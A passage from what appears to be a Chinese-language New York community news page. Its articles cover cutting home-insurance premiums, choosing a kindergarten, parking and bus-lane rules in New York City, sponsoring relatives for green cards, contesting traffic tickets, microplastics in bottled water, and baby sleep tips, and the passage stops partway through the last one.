五、我该怎样降低保费?

1.提高自付额(deductible)
对于每一个房屋保险项目,投保者都可以自己选择合适的自付额,当意外灾害发生时,你先支付自负额,然后保险公司再负责自负额以外到保额的那部分,自负额越高保额自然就会越低。

2.加强抗灾力
比如,换新的电气设备,以减少房屋着火的风险,采取防震措施,以降低震后损失的程度。若你住在飓风多发地区,则安装防雨百叶窗,给屋顶装防雨板,加固地板墙壁等一些抗风防水措施,都有助于减少保费。

3.加强安保
通常保险公司会给安装烟雾探测器、防盗铃、防盗锁的房屋提供至少5%的保费折扣。一些公司在你安装了较精致的自动喷水灭火器、直通警局消防局的火警及防盗铃后,甚至提供15%至20%的折扣。

4.减去多余项目
每年评估一下保单,去掉不必要的投保项目。当然不要减到不足以保护你的房屋和财产。

5.拆除旧建筑
保单可能也包括地皮上住宅外的其他楼房,从而拉高了保费。如果本来就是废弃的建筑,何不干脆拆掉?

6.清除周围植物
住在野火频发地区的屋主,应除掉自然易燃物,在住宅周围留有空地。

7.合并保险
把你在别家公司买的保险转到同一家公司。比如把汽车险,一些责任险转到屋主险所在公司。一些公司对在他们那里购买两种及以上保险的投保人提供5%至15%的折扣。

8.索赔前三思
多番索赔可能推高保费。如果只是小数额,可权衡是否就自掏腰包,长远来看实则是省钱的。

9.去掉地价
看看是否保单里也涵盖了地皮,如果是,在充分知晓风险的前提下,去掉它。因为地皮不会失窃、被刮走或烧掉,往往是地皮上的房屋和屋内的对象可能受损要恢复。

10.看是否靠近紧急服务
保险公司可能给靠近消防栓、消防站等救援服务的房屋一点保费折扣。假如你家着火,附近1.5英里处有一家消防站跟12英里外有一家完全是两回事。而消防队是公家的还是志愿者团体也对保费有影响。


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2021-04-12 / by / in , , , ,
选择美国幼儿园 了解这些情况很重要

文|雨荷

在美国早教幼儿园分为两岁以下(Childcare),三至四岁(Preschool),五岁(Kindergarten)。 纽约一些满意的私立幼儿园录取比很低,有时候要等一年之久。需要决定提前做做功课,敲定备选的幼儿园名单。美国的幼儿园一般是欢迎家长考察的,有两种参观形式,要么是open house的时候和其他家长一起参观,要么是和学校预约一个访问,到时会有特定的教职人员带。

家长在考察美国幼儿园时,需要了解这些情况:

1.学校环境:干净整洁当然是最基本的,其次就是学校的设施配备,比如学校的backyard里有没有沙坑、玩水的区域、各种植物小动物等等。环境对于孩子心灵的影响自然不必多说,一个好玩有趣的学校环境显然能让孩子更快地接受和适应。

美國幼儿园,孩子在植树。(pixabay)

2:孩子们有没有大量的玩耍机会?

孩子离开家进入新的环境后,父母无法随时掌握孩子的发展都得到了哪些训练。因此很有必要了解学校的课程配置。选择一个“会玩”的幼儿园非常重要,会“玩”的孩子情商高、会合作,认知能力也更强。对”玩“的考察,应该包括想象力层面的玩耍,和运动发展。

父母是孩子的第一任老师,幼儿园其实是家庭教育的延续,因此确保学校的核心价值观和父母的价值观相符非常重要。家庭教育的价值观,体现在养育过程中,父母对孩子不同方面发展的重视程度,以及处理问题的方式。

3:是否名符其实?

以蒙特梭利幼儿园为例,在美国有几千所,仅纽约市就有二十几所。中国近年也春笋发芽一般出现了很多蒙氏幼儿园,但是质量参差不齐。“蒙氏”这个名称并不代表学校具备蒙氏水平和资质。这些学校里只有一部分通过了AMS(美国蒙特梭利协会) 或IMC(国际蒙氏协会)的认证。

4:学校的风格是否适合孩子的气质?

幼儿园最突出的特色,考虑是否和孩子的天性般配吧。比如,蒙园的教室非常安静,看不到孩子们大闹嬉戏的场面,因为他们刻意培养孩子们的独立和专注,有意杜绝给孩子过多的distraction(分心、刺激),过于活泼好动的宝宝,来到这里也许会不太适应。每一个孩子的天生气质都是独特的,蒙氏教育并不一定适合所有的孩子。

蒙氏幼儿园,示意圖。(pixabay)

5:老师是怎样和孩子们互动的?

蒙园是混龄教育(3-6岁同班,保持同一批孩子一个班直到毕业),3年都是同样的老师教,师资背景是考察的要点,纽约地区的几所幼儿园,都要求老师有早教专业学历。学历并不等同于老师的能力,但从某种程度上能作为考察学校的指标。但如果大部分老师连大专证书都没有,那么这家幼儿园的质量就值得打个问号。

6:学校价值观是否和自己的一致?

父母是孩子的第一任老师,幼儿园其实是家庭教育的延续,因此确保学校的核心价值观和父母的价值观相符非常重要。家庭教育的价值观,体现在养育过程中,父母对孩子不同方面发展的重视程度,以及处理问题的方式。

一些学校特别重视艺术修养、另一些学校很强调每天孩子学到什么知识(academic skills)。比如,你是个非常重视孩子阅读能力的家长,亲子阅读是你们生活的一部分,那么要咨询老师每天会花多少时间陪孩子们阅读。再比如,老师在孩子们发生争执时,采用的是time-out的处理方式,但是你很不赞同time-out,这所幼儿园的风格就和你的养育价值观发生了冲突,需要谨慎选择。

孩子们发生争执时 示意图。(pixabay)

值得考察的方面,还包括学校课程中是否贯穿了基础的认字识数;学校和家长之间是何种沟通方式和频率;是否提供你家宝宝可能特别感兴趣的特色课程等。如果是双语幼儿园,孩子每天有多少时间和外籍教师在一起?全托的幼儿园,还要看学校给孩子们饮食和作息安排是否规律。

供我们选择的幼儿园不可能符合我们的每一条要求。多家纽约幼儿园,只能在离家便利、收费合理的幼儿园中,通过比较,选择性价比最高的。但感觉适合自己适合孩子的才是最好。

为您推荐优秀幼儿园如下:

優質寄托家庭

貝賽寄讀

纽约寄宿/贝赛寄读646-460-5786

纽约第82学院/纽约最好的学前教育718-457-0429

托儿所:快乐玛丽安幼稚园718-886-8266

2021-04-12 / by / in , , , , , , ,
在纽约开车,了解这些技巧,你就再也不用担心罚单了!

文|他乡月更明

“如果你爱他,请带他去纽约,因为那是天堂;如果你很他,请带他去纽约,因为那是地狱。”这句台词乍听起来有点夸张,但如果经常在纽约开车,恐怕不少人曾有过那种地狱般的感受。

Manhattan街头,很多街区不准停车。

不说交通的拥堵,只说人人讨厌的罚单。纽约一年的停车和交通罚单有多少?说远一点的,仅2015年,罚单总额就达到9.57亿美元。无论如何计算,收到罚单的总人数,都不会是一个小数字吧?

说近一点的,去年7月份第三周,罚单发出去5,039张。注意:这是非常少的一周。在2019年同期,那一周发了20,762张罚单。

对于高收入者,这点罚单可能不算什么,但对于一般收入的中下阶层,他们一天的收入可能全部付之东流水。试问:那一天的心情,像不像在地狱?

孟先生是纽约市资深导游,疫情之前,他经常带游客游览全美包括纽约市,对纽约市尤其熟悉。时代广场、中央公园、17号码头,博物馆等地,更是经常光顾。

“在纽约开车,我几乎没听说过谁没接过罚单,”孟先生说。他的驾龄有30多年,里程已达60多万英里。尽管有如此的资深驾龄,他几年前在洛克菲勒大街也接到了一张停车罚单。

纽约三大停车标志

纽约的停车标志分三种:No Standing,No Parking,No Stopping。

No Parking

不准泊车的地方,但可以停车上下乘客,装卸货物。

禁止泊车标识,但可以在路边停车上下客或者装卸物品。虽然允许司机这样做,但动作要快速,不可磨磨蹭蹭,不能停留时间太长,也不能等待乘客。

如果你有乘客需要接送,一定要提前联系,让乘客先在路边等待,只可以人等车,不可以车等人。司机不可离开,车子不可熄火,最好在Bus到达之前,你能及时离开。

No Standing

可以靠路边上下乘客,但不可以影响Bus运行。

这是不可以停车等待的标志,可以上下乘客,但不可以装卸货物。司机不可离开。车子不可以等人。乘客有箱子怎么办?还是自己拿著吧。最起码,司机不可以帮乘客装卸,不是偷懒,是怕警察看见给罚单。

No Stopping

这是最严格的禁止停车标志。除非紧急情况,或警察指挥,或者特殊车辆,私家车绝不可停靠。

这是最严格的标识。不准停车上下乘客,不准装卸货物,不准路边等待。对于私家车只有两种情况例外:

一是遇到了紧急情况,比如引擎问题,或其它紧急突发事件,需要避险。二是警察指挥你停下。

记住这三大标志,严格遵守,你得到罚单的机会,一定会减少很多。

还有,一定要记住:有时停车的地方没有标识怎么办?要前后查看,要确定那段街道从头到尾有无标识。

在最难停车的曼哈顿,如何找到停车位?

在曼哈顿开车想找到一个停车位,没有耐心可不行。孟先生熟悉曼哈顿几乎每个街区,哪儿可以停车,甚至哪儿免费停车也知道。

“在中城(大概在93街—23街这个区域之间)那几条街道,从第5大道—第8大道,那是商业区域,是不能停车的,”孟先生介绍。但如果你驾驶的是商业车辆可另当别论。商业车辆一般会购买特殊区域的停车许可证。私家车做不到。

上述区域之外,比如,从可以路边停车的Park Avenue,到东河(East River),以及从第9大道至哈德逊河边第十二大道,这两侧只要是居民区,一般都可停车。要记住停车时间,千万不要超过时间限制。

曼哈顿区域不收费的街道很少,如果司机不注意,很难发现这些街道。要是赶时间,最好还是缴费停车。

时代广场的停车费,贵的离谱。

在游客最爱去的时代广场如何停车呢?

据孟先生了解,时代广场周围,没有免费停车的地方,只能到停车场停车。但进过停车场的人可能都知道:停车费真是吓人哪!笔者去过一次,大概停了半小时左右吧,那次被收了接近30美元。当时还以为被敲了竹杠。

如何避免交高价停车费?孟先生教给我们的办法是:停远一点,然后走到时代广场。9大道西侧,10大道和12大道,都可以停车。只是要有耐心,要多花点时间寻找车位。其实,如果不怕麻烦,乘地铁赶过去最好。住在宾馆的游客,宾馆一般会提供免费停车。

如何在纽约开车不会接到罚单?

因为巡逻的警察多,所以,在曼哈顿开车,一定要多留神,注意路边标志,同时,还要谨慎驾驶。

孟先生介绍,在曼哈顿,有些街道不准进入或者不准转弯,还有的不准调头。这些标志都要留心。

曼哈顿中城,从Park Avenue,一直到9大道;从60街到34街,这些街区不准转弯,只能直行通过。

开车时,最好和公交车保持距离,也不能跟著公交车跑。因为,有些街道公交车可以开进去,可以转弯进去,但私家车不行。如果跟过去的话,公交车后的摄像头,可能会把你逮个正着。

另外,开车的时候,最好集中精力,规规矩矩,不要走蛇形路线,不要打电话,不要拿杯子,不要超速,这样,即使警车跟著你,你也不用怕。但有的司机一看到警察跟著,可能会因为紧张分心,不注意标志,导致犯错被叫停。

记住:最可怕的是公交车罚单

还有一点非常重要,但往往被初级菜鸟司机轻视的规矩:公交车停靠站和专用线。记住:这个一定要牢记于心。因为一旦犯错,会很难洗刷罪名。人家有摄像证据在手,你有吗?

在公交车站,虽然没有标志说私家车不准停靠,有时候公交车不在,看上去那个地方还很空。还有的私家车乘客就喜欢站在公交车站等待,因为觉得这地方好找,好上车。但私家车司机绝对不要停过去。

纽约的公交车普遍配有前后双摄像头,一旦被照相,虽然不会扣分,但很麻烦。而且,罚款的数额还会逐渐升级。同样的错误,付出的代价可能相差几倍。

纽约市不少主要街道配有公交车专用线。在公交车运营期间,这个专用线具有绝对的排他性。

对Bus专用线,一定要给与尊重,并了解其运营时间段。

纽约市公交车专用线分为两种:路边巴士专用线和路中间巴士专用线。二者的区别是:路中间巴士专用线,和路边还隔著一条可供一般车辆通行的普通线路。

路边巴士专用线通行的时间段为:周一到周六,上午6-10点,和下午4—7点。这两处时间段之外的中午时间及晚间时间,装卸货物的司机就有机会合法占用专用车道。

路中间巴士专用线通行时间为周一到周六,早上7点-晚上7点。

但有时候你会发现,有人占用了专用线,好像也没事。这要分两种情形:一是可能司机比较幸运,暂时未被发现。二是司机虽然占用车道,但他是以合法的方式使用。

私家车合法使用公交专用线的方式:一是在巴士运行的时间段之外;二是虽然是在其通行时间段,但司机需要合法右转,右转前可以进入专用线;如果是住家,需要穿越专用线进入自家车道,也可占用一下这个线路,但要注意以安全的方式进入。

如果你需要上下客人,而且路边没有禁止停靠标志,也可临时进入或驶离专用线车道。

如果你占用的普通车道被障碍物、慢性车辆或垃圾车挡住,这时候,你可以占用公交车道,绕过障碍。

还有,为避让紧急车辆,也可临时占用。

在专用线运营时间内,虽可临时占用,但要记住几点:1,不可在线内行驶超过200英尺。2,虽可占用,但要在最近的地方,以合法而安全的方式退出。3,不可影响到公交车的安全和通行。

纽约驾车,要了解和遵守的规矩很多。我们希望通过这篇介绍,能够最大限度的帮助读者们,减少接到罚单的机会,艺高人胆大,从此不再害怕在纽约开车。

2021-04-12 / by / in , , , ,
你是美国公民吗?想帮亲属申请绿卡看这里详解(上)

文|懂你的小伙伴

如果你已经是美国公民,该如何帮助你的亲属拿到绿卡,移民美国?

移民美国有多种方式,亲属移民申请是其中一种。首先,你必须能为该亲属做担保(I-864 表格),需证明你有足够的资产、收入来扶养该亲属(后面会有较详细说明)。但如果你的财务条件不符合时,就必须找其他人来担保。即便是直系亲属也是一样。

哪些是合规定的亲属,这里有定义:

美国公民可為子女、配偶、父母或未满 21 岁的未婚子女等亲属申请绿卡。

第一种是美国公民的配偶(丈夫或妻子)。
第二种是已婚或未婚子女。
第三种是对于年满21岁的美国公民还可以为父母、兄弟姐妹申请。当然,以上申请都要提出你与申请人,亲属关系的证明。

申请进入移民排期?或无需等候?

按照规定,提出申请后,就会与同一国家、同一类别的申请案件进入排队位置。然而,如果是直系亲属,包含配偶、父母或未满 21 岁的未婚子女,则无需等候。

开始必须先填写 I-130 表格(外国人亲属申请),这个表格将说明你与该亲属的关系,有时候 I-130 会与I-485 表格注册永久居留或调整地位申请书一同递交。

如果这名提出申请的亲属,也要帮他的配偶、未满21岁的未婚子女申请绿卡,可以一并申请,例如家人已经在美国境内,就可以提交I-485表格,调整身份。

另外,美国公民对每一位直系亲属,都必须提出个别申请。

一家人可以获得美国移民,同享天伦之乐。

举例一:你帮已婚女儿提出申请绿卡,女儿已经开始排队时,她的丈夫也可以同申请移民签证。
举例二:你为父母提出申请,必须分别提出。如果你有兄弟姊妹,当然也要个别申请。不同的是,父母可以立即拿到签证,兄弟姊妹则要排队等候。
举例三:你为结婚对象申请,如果对象有子女且未满18岁,将自动成为你的「继子女」。你要提出两份申请,一个是结婚对象,一个是继子女。

如上所述,除了直系亲属以外,其他亲属申请都需要排队等候,参照国务院网站,现在等候期如下:
表A:家庭申请最终行动日期(FINAL ACTION DATES FOR FAMILY-SPONSORED PREFERENCE CASES),又称移民排期。

Family-

Sponsored

All Chargeability 

Areas Except

Those Listed

中国大陆居民
F1:美国公民21岁以上的未婚子女 08十月/2014 08十月/2014
F2A:美国永久居民21岁以下的未婚子女 C 無排期 C 無排期
F2B:美国永久居民21岁以上的未婚子女 08八月/2015 08八月/2015
F3:美国公民21岁以上的已婚子女 08八月/2008 08八月/2008
F4:美國公民兄弟姐妹 01十一月/2006 01十一月/2006

表B:提出家庭簽證的申請日期(DATES FOR FILING FAMILY-SPONSORED VISA APPLICATIONS),又称递件排期。

Family-

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All Chargeability 

Areas Except

Those Listed

中国大陆居民
F1:美国公民21岁以上的未婚子女 15九月/2015 15九月/2015
F2A:美国永久居民21岁以下的未婚子女 01三月/2021 01三月/2021
F2B:美国永久居民21岁以上的未婚子女 15六月/2016 15六月/2016
F3:美国公民21岁以上的已婚子女 22六月/2009 22六月/2009
F4:美國公民兄弟姐妹 01十月/2007 01十月/2007

亲属能在美国境内等待吗?

如果亲属还没成为永久居民之前(未拿到绿卡),不能在美国境内等候排队。 I-130 申请仅证明你与亲属之间的关系。亲属应该在美国境外等候合法移民。但如果是直系亲属,已经合法入境美国,他们可以在你为其提出 I-130 申请时,同时申请调整身分成为永久居民。

若你的亲属已经合法入境美国,他们可以在你提出 I-130亲属申请同时,提出 I-485申请,调整身分成为合法永久居民。同时提出的永久居民申请 (I-485) 地点,必须与您提出 I-130的地点不同。

你帮亲属申请时仍是永久居民怎么办?

另外一种情况: 如果你帮亲属申请时仍是永久居民,但现在是美国公民,该怎么办?

你可以通知你归化的机关,请附上一封信,载明关于您亲属的资讯、您的归化证书影本一份,以及申请核准通知影本一份,以将你亲属的签证类型升级,提前申请的顺序。假如是直系亲属,就能快速取得签证。

移民服务费

以上仅仅是在国家签证中心(NVC)的申请了解,在提出申请后,你的亲属会收到来自美国国务院的包裹,将附有一份指导手册,告知你缴纳移民服务费的付款方式。移民服务费需要在你的亲属赴美前缴清。

在线付款后,国家签证中心(NVC)会处理你的费用,在这之前请等待确认付款「PAID」后,才能继续DS-260表格。每个移民者都必须填写DS-260。

担保文件

接着进入担保文件(I-864表格)的签署,但是,如果你的收入不足,则共同担保人也可以同意代表申请人填写I-864,而且必须提交必要的财产证明文件。担保人通常要持续到移民者持为美国公民,或是有40个季度(通常是10年)的合格工作证明为止。 (下集待续)

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-11 / by / in , , , , , , , ,
纯干货!纽约交通罚单处理全解析

至诚罚单

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纽约罚单处理专家/至诚罚单 718-717-3344/交通罚单/刑事罚单/TLC罚单


相比较其他州而言,纽约州的交通法规及交通违章的执法力度要严格一些,所以纽约的司机朋友很容易吃到罚单,纽约州和纽约市的警察们每年开出约100多万张的交通罚单。本文小编为大家详细介绍被警察拦下 (Pull Over)的应对、交通罚单的种类、处理的方法以及上诉的常见理由。

一、路边被警察拦下 (Pull Over)

这是可能获得罚单的第一步,小伙伴们要正确的应对,具体做法总结如下:

1. 警车尾随

如果发现后视镜出现警车闪着灯紧跟在你的后面,你快他也快,你慢他也慢,说明就是冲你来的,应该尽快靠右停车(如果不停车,下一步就是警车鸣笛了)。停车后,警车也会在你后面停下来。

(Pixabay)

2. 安静等待警察过来,严禁下车

接下来就是安静地等待警察过来。

不要解开安全带(以免被警察误认为你一直没系),也尽量不要做其他动作;
把双手放到方向盘上(避免被误认为在拿武器引起严重事故);
严禁打开车门,更严禁下车,不要到处乱找东西。

3. 配合检查,但不着急认错或揽责任

当警察过来时,摇下车窗,可以说 Officer 或 Sir 之类的打个招呼,但少主动说话,就算察觉到自己在驾车过程中有违规的行为,也不要着急主动认错。因为一旦当场认罪,这些是可以被作为证据的,以后在法庭上就很难进行无罪声明了。要认错也要等警察提示之后,记住态度诚恳,表现出十足无辜的样子。

4. 签字

运气好的话,可能会被放走。但很多时候会得到一张罚单,大多数都是黄单。最后,警察会让你在罚单上签字。需要注意的是,签字并不代表认罪,而仅仅是表明你收到了罚单。

二、罚单的种类

纽约州的交通违规罚单有白单、黄单和粉单三种类型。通过罚单的颜色,你可以大致判断出违规种类和违规情节的严重程度。

1、白单(Parking ticket)

白单为违规停车罚单(Parking Violations)

情节严重程度:轻微
后果:一般只罚款不扣分

(The Epoch Times)

常见违规行为:

1)在禁止或限制区域内停车

2)马路旁逾时停车

3)阻碍交通类停车

4)妨碍性停车

2、黄单(TVB ticket)

黄单是普通行车违规罚单(Non-Criminal Driving Violations)

情节严重程度:中度
后果:根据各地区不同情况扣分、罚款,严重时可能吊销驾照;

常见违规行为:

1)超速(speeding,扣3-11分)

2)鲁莽驾驶(reckless driving,扣5分)

3)超越校车(failure to stop for school bus,扣5分)

4)紧跟前车(tailgating,扣4分)

5)刹车不当(inadequate brakes,扣2-4分)

3、粉单(pink summon)

粉单是刑事交通罚单(Criminal Driving Violations)

情节严重程度:严重
后果:重金罚款,可能会导致吊销或永久撤销驾照、入狱、跟随一生的刑事犯罪记录等。

常见违规行为:

1.酒驾(DWAI/Alcohol: Driving While AbilityImpaired by Alcohol)

2. 醉驾 (DWI: Driving While Intoxicated)

3.药驾(DWAI/Drugs: Driving While AbilityImpaired by Drugs

三、认罚还是上诉?

1、认罪

当你拿到罚单, 如果直接交罚款就等于认罪。除了停车罚单和电子监控相机拍到的罚单可以直接认罚, 其他罚单如车在驾驶过程中,警察让您停车后所开出的交通违规罚单, 如果直接交罚款了, 法庭就会通知交通局(DMV)。

因为驾驶过程中的违规会增加交通事故发生的概率, 比如超速, 跟车太近,不安全变道, 不按规定车道行车或行驶在两车道之间, 闯红灯,不遵守交通信号, 等等. 交通局对这些违规都设置了相应的点数, 交罚款后,交通局会将定罪后的点数记录到您的驾驶纪录上, 而这个违规记录至少4年之内不会从您的驾驶纪录上删掉, 虽然18个月之后,交通局会将扣掉的点数还给您, 但是曾经的违规记录还是会显示于驾照记录至少4年.

而18个月返点是指如果您今天因为行车时使用电话被警察开罚单了, 立即认罪交罚款了,被扣5分, 还剩6分, 纽约州司机每人18个月内不得扣分超过11分, 否则驾照被停牌或吊销, 18个月后交通局将5分还给您, 即仍然有11分可以被扣, 但是您曾经有过开车打电话的不良纪录会存在于驾驶纪录至少4年.

汽车保险: 您的驾驶纪录, 或您保单上其他司机的驾驶纪录是影响汽车保险费高低的主要基准, 这就意味着驾照上的点数会使您的保费在今后的4年里大幅上涨, 累计起来是一笔不小的额外支出。

(Pixabay)

需要值得注意的是:外州的司机在纽约拿到行车罚单,必须妥善处理,认罚或败诉,纽约交通局都会将您的不良驾驶纪录传达到您驾照所属地,造成点数上涨及保险涨价(停车罚单和照相机抓拍的罚单除外)。

2、上诉

在罚单上列出的出庭日期前,直接去法庭罚单接收窗口,说明认罪或不认罪。如果不认罪,对方会寄给你另一份通知,列出开庭日期。你也可以寄信给法庭说明不认罪,即Written Declaration,在规定日期之前寄出到法庭。

关于证据,你可以先留心罚单上的信息是否都正确。如果警察在记录过程中犯错,将部分关键信息写错或漏掉,那么你的罚单很会因此而增加被成功撤销的可能性。还可以注意一下罚单日期、时间、地点等具体信息是否有偏差。明显的证据一定要记得拍照记录!比如地面大坑导致紧急转弯等等。这些都可以放在书面申诉中。如果你有行车记录仪,可以让你占据更有利的位置。

法院收到你的信之后,会让给你开罚单的警察在短时间内填写一个复杂的表格,开启书面辩论模式。但对于大部分警察来说,他们事务繁忙,对于书面回复这种事情,内心是十分拒绝的,因此,他可能会“忘了”回复,那么你就直接辩论成功了。

特别是,如果你在书信中,用各种科学公式证明你的无辜,那么很可能他们看到就很头昏了,完全放弃抵抗。毕竟,有那个时间,他们完全可以出去多开几张罚单。

然后,你需要做的就是等待结果,无非以下三种可能:无罪,退还所有罚金;有罪,但是法官决定减少你的罚金或点数,你会收到部分退款的支票;第三种可能比较少,就是有罪而且需要增加罚款,你会收到一封信告诉你如何补差价。

如果拿的是刑事罚单,建议请律师出庭争取将惩罚最小化。

四、申请上诉的常见理由

很多人对找理由有些不在行,那么下面这些观点可供参考。千万要杜绝“我不知道……”或者“虽然我违法了,但是…… ”之类的表达。因为在美国可不存在“不知者无罪”,法官也许会同情你,但还是会狠狠罚你,绝不手软。

申请白单上诉的常见理由:

1、禁止停车的标识模糊或者有误;

2、路边停车收费表出现故障或者设置有问题;

3、停车位划分界线模糊或有误;

申请黄单上诉的常见理由:

1、警察没有确凿证据或证据不足:有时罚单上的处罚内容会写得十分模糊,例如「低于限速行驶」就只写成「疏忽驾驶」(careless driving),缺乏确凿证据;

2、自己有证据证明警察错判(实况照片);

3、有特殊情况和不得已而为之的理由,如天灾人祸或医疗紧急事件等。

至于粉单,还是交给专业的律师吧。


小编推荐的纽约资深交通律师:

纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

2021-04-10 / by / in , , , , , , , ,
瓶装水含有大量塑料微粒,你敢给孩子喝吗?

文|雨荷

在许多人的观念里,瓶装水总是要比自来水干净,给孩子喝也更安全。但是现在有研究发现,一升瓶装水里平均含有300多个比头发丝还细的塑料颗粒,它们的浓度平均是自来水的2倍。而且现在没有人知道,这些塑料微粒会不会危害孩子和你的健康。

瓶装水几乎已经是许多人生活中不可缺少的东西,甚至在家里、在办公室,瓶装水也成为日常饮用水的标配。不过,最近的研究报告可能会让人们考虑改变这样的生活习惯。

著名期刊《环境科学与技术》(Environmental Science and Technology)刊载了一份题为「人体摄入的塑料微粒」(Hu man Consumption of Microplastics)的研究报告,指喝瓶装水会大幅增加摄入的塑料微粒数量。

根据数据分析,瓶装水的塑料微粒平均比自来水多出22倍,如果一个人一年只喝自来水,会喝入4,000颗塑料微粒;但是如果一年只喝瓶装水,可多摄入9万颗。

塑料微粒通常是指直径小于5毫米的塑料颗粒,多来自于塑料瓶、塑料包装袋等塑料制品的解体分化。较大的塑料微粒肉眼可以观察到,而较小的只有一个细胞大小。这不是针对瓶装水塑料污染的第一份研究报告。

瓶装水,示意圖。(pixabay)

名牌瓶装水普遍检测到塑料微粒

2018年,由非营利新闻机构Orb Media牵头,对9个国家、11个品牌的250瓶畅销瓶装水进行了检测,这是迄今为止全球最大规模的一次检测。

检测发现,93%的瓶装水含有直径大于0.1毫米的塑料微粒;这样比头发还粗的塑料微粒,每升水中平均含10.4颗。

美国纽约州立大学弗雷多尼尔分校化学教授谢丽•梅森(Sherri Mason)负责检测和分析,她表示,「我们在一瓶又一瓶、一个又一个品牌中发现了(塑料微粒)」。

需要说明的是,这259瓶被检测的瓶装水全是著名的国际品牌或国家品牌。

现实生活中塑料微粒几乎无处不在,人们几乎无从避免。但是基于两个原因,梅森说我们应该更加关注瓶装水的塑料污染问题:第一,喝瓶装水比直接用杯子直接接自来水会喝到更多更多的塑料;第二,瓶装水消费量巨大。

对于大部分美国人来说,自来水管中的水和瓶装水,就健康和营养质量来说,并没有什么不同。在有些情况下,公共自来水龙头的水要更安全,因为他们频繁接受检测。在中国虽然广告向消费者传达的信息是瓶装水干净、安全、健康,但这不能代表所有瓶装水和包装水产品。2015年中国食品监管部门抽检的结果表明,407种被查出的有问题饮料中,有将近400种是不合格的瓶装水和包装水。

407种被查出的有问题饮料中有将近400种是不合格的瓶装水和包装水。示意圖。(pixabay)

塑料微粒的危害

塑料本身的成分和塑料吸附的成分,都可能对人和生态造成负面影响并产生副作用。人的粪便中排出了微塑料并不意味着通过饮食和饮水进入人体的微塑料就能全部被排出,它们必然会或多或少存留在体内并蓄积。而且,既往的研究也表明,直径小于20微米的塑料颗粒可以进入血液循环系统,并且在内脏中累积。至于它们是否会造成危害,还需要进一步的研究结果。

2016年欧洲食品安全局下属的期刊EFSA Journal发表的一项研究表明,塑料微粒对人体的影响主要体现在其中含有的污染物上,如多氯联苯(PCB)和多环芳烃(PAH)。塑料作为高分子聚合物在正常使用情况下可以被认为是无毒安全的,但是在塑料的生产过程中,为增加和改变其功能会增添其他一些化学成分,如塑化剂(增塑剂)、抗氧化剂、染料、颜料等。

以塑化剂而言,最常见的是邻苯二甲酸二(2-乙基己)酯(DEHP),释放到环境后便成为环境雌激素中的酞酸酯类。无论是人还是海洋生物,大量摄入塑化剂会形成假激素并传递模拟或虚假的化学讯号而干扰内分泌功能,影响生殖和发育,造成畸胎,甚至致癌。

此外,塑料的吸附性很强,尤其是微塑料,能吸附很多有害物质。多个国家的研究人员曾对当地海洋搜集的微塑料表面的有机污染物进行分析,发现有些地区的持久性有机污染物(POPs)含量可高达24000纳克/克。持久性有机污染物是一大类有害物质,具有高毒、持久、生物积累性、亲脂憎水性等特点。

持久性有机污染物甚至在低浓度时也会对生物体造成伤害,例如,二恶英类物质中最毒者的毒性相当于氰化钾的1000倍以上,号称世界上最毒的化合物之一,每人每日能容忍的二恶英摄入量为每千克体重1皮克。二恶英中的2,3,7,8-四氯二苯并二恶英(2,3,7,8-TCDD)只需几十皮克就足以使豚鼠毙命,连续数天对孕猴饲喂每千克体重几皮克的剂量就能致其流产。

豚鼠(pixabay)

尽管塑料微粒对人的危害尚无研究结果证实,但塑料微粒对其他生物的伤害已经有一些研究结果。2016年瑞典研究人员的一项研究表明,高剂量的聚苯乙烯型微塑料能抑制鲈鱼的孵化和生长。而且该项研究中采用的颗粒物浓度在瑞典沿海岸的范围内,每立方米为150~102,000个微粒。

塑料微粒对人造成的危害可能需要时间和数量的积累来实现。但目前微塑料就已经广泛存在人体内, 因此,我们现在要做的就是,立即行动起来,迅速改变现状,从我做起,减少塑料的使用,减少塑料垃圾,积极主动地做好垃圾分类!否则,塑料污染程度会进一步的恶化,我们最终都将自食恶果,并且留给我们的后代一个塑料星球。

2021-04-10 / by / in , , , ,
家有睡渣宝宝 妈妈很苦恼 教你7个技巧

文|雨荷

宝宝要健康成长,除了要摄取足够的均衡的营养以外,拥有足够的优质的睡眠也是必不可少的。当宝宝睡着的时候,大脑其实并不是在休息,而是在发育。哄睡,对于妈妈们来说,是一件头等大事,如果宝宝难入睡,拖到很晚的话也会影响到父母的睡眠,同时宝宝的自身睡眠时间要是没有把握好的话,也很容易影响成长的。那么,宝宝哄睡有什么技巧?

技巧一:襁褓

把宝宝包裹在襁褓里面,这已经是上千年的智慧了,有一些爸爸妈妈总觉得这样让孩子的手臂不自由不好,但是孩子在妈妈肚子里就是这样的啊,这就是他们最舒服的状态。包的时候要注意上身紧下身松,手臂要伸直了放在身体两侧,腿有一定的活动空间,这样包裹起来对宝宝是最友好的。有一点要注意,如果宝宝已经可以翻身,就不能再用襁褓了,因为害怕孩子在睡梦中翻动,会遮住口鼻造成窒息。

包的时候要注意上身紧下身松,手臂要伸直了放在身体两侧

技巧二:侧卧或者俯卧

接下来可以尝试的是让孩子侧卧在我们怀中,就像是反向喂奶一样,也就是像喂奶一样把孩子抱在怀里,但是脸是朝外的。这是因为平躺其实对孩子来说是一个刺激,蜷缩起来,侧卧或者俯卧才是他们习惯的方式,但是大家一定要注意,侧卧的时候一定要有人看守,一旦孩子睡着,一定要换成仰卧。

技巧三:催眠曲

这可能是流传范围最广的哄睡方法了,当妈妈在宝宝耳边轻唱时,温柔的语气、独特的嗓音会给宝宝安定感,帮助宝宝入睡。

技巧四:白噪音

这个方法也主要是通过模仿子宫环境达到催眠效果,对于 3 个月以下的宝宝比较适合。白噪音还可以抵抗吵闹的环境噪音。

常见的白噪音包括雨声、海浪声、吹风机、洗衣机、收音机等出的声音,这些声音可以通过录音或者下载白噪音软件获得。而家长有时哄宝宝时会「嗯嗯」「哦哦」地哼唱,也有类似白噪音的效果。 当然,爸妈要注意要随着睡眠的不同状态调整声音的大小。长期处在噪音环境对宝宝有害,所以注意声音不要太大。

技巧五:摇动

这里说的摇动绝对不是大幅度的摇晃,而是五六厘米以内的小幅轻摇,而且轻摇最好是比较快的颤抖性轻摇,孩子越不安摇动越要快速越小幅,当他安静下来,可以逐渐变慢,摇得要有节奏。这就是为什么育儿嫂会用抱着孩小步快跑的方式来摇会很有效果的原因,注意一定要确保孩子头部和身体在一条直线上,否则容易出现摇晃综合症。

摇晃可以逐渐变慢,摇得要有节奏。

技巧六:在触觉上下功夫

